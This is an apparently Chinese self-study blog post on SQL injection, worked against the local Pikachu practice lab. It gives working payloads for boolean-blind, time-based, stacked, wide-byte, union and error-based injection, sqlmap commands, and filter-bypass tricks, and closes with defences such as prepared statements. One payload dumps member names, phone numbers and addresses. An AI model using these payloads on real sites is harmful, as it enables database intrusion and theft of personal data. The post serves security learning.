Boolean注入攻击
基于布尔判断的攻击
根据前面知道有个用户名是vince。
vince' and length(database())=7#
没有错误
此时,条件语句where username='vince' and length(database())=7是True,也就是说数据库长度为7。
vince' and substr(database(),1,1)='p'#
字符
vince' and ascii(substr(database(),1,1))=112#
ascii
vince' and ascii(substr(database(),2,1))=105#
上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch
基于boolean的
使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。
Time注入攻击
基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpad或repeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。
GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接
vince' and if(length(database()=7),sleep(3),1)#
3秒后后显示
同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch
时间注入
太慢了,有其他办法不建议使用这个。
Stack注入攻击
需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。
堆叠注入攻击可以执行多条语句,多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。
获取数据库、表(单引号闭合)
';show databases;show tables;%23
sqlmap
可以看到sqlmap中注入技术选择S时,payload中是含分号的。
--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------
inline Query绕过注入攻击
内联查询注入攻击
宽字节绕过注入
宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。
\'编码
\编码为%5C,我们一般在地址后添加%df。
绕过\
添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。
为了方便理解,修改一下源代码,打印一下sql语句 。
修改源代码
转义
%df%5C%27 or 1=1#
后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。
Pikachu其他题目
火狐浏览器及插件hackbar v2。
数字型注入
参数为数字,一般是id等。
参数
参数为id和submit,其中id为整型。
猜测sql语句形式为
select userid from users where id = 参数
注入点判断
id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询
字段数确定
id=3 order by 3&submit=查询
3时报错
我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。
查询当前数据库
id=1 union select 1,database()&submit=查询
数据库pikachu
查询当前表
由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。
post data应该是这样的
UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询
实际sql语句执行是这样的
当前列
查询当前字段
post data应该是这样的
id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询
实际sql语句执行是这样的
用户名,手机号,住址
0x3a是冒号的ASCII码
一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。
字符型注入
将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。
判断闭合
标题
获取数据
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2
获取数据库名
后面的和之前的差不多。
搜索型注入
其实也算是字符型注入
搜索一般sql语句如下,
select * from users where username like '%$name'
测试闭合字符
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2
获取所搜索表所有内容
使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。
xx型注入
注入判断
frankyu'判断
我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。
select * from users where username = ('$name')
不写了,和前面的差不多。
"insert/update"注入
标题
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'
0x7e是~,结果如下:
数据库
"delete注入"
和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。
宽字节注入
博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。
tamper脚本
绕过
大小写绕过
sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用
UniOn select * from user
双写绕过
网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句
selselectect * from user
内联注释
mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行
and /*!select * from user*/
注释符绕过
注释符不影响语句的连接,
sel/**/ect * from user
or/and绕过
使用逻辑符号代替:and = &&, or = ||
select * from emp where sal > 500 && sal < 3000;
空格绕过
有的网站过滤了空格,可以尝试使用
%0a、%b、%0c、%0d、%09、%a0
或者
/**/、()
例如
select * from/**/emp where (sal) > 500 && sal < 3000;
等价于
select * from emp where sal > 500 and sal < 3000;
防御SQL注入的方法
使用预编译语句
绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。
使用存储过程
使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。
检查数据类型
例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。
使用安全函数
各个厂商都有一些安全函数,例如,微软SQL安全函数
关于如何进行sql注入及靶机实战,可以参考下方链接。
未完待续...
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。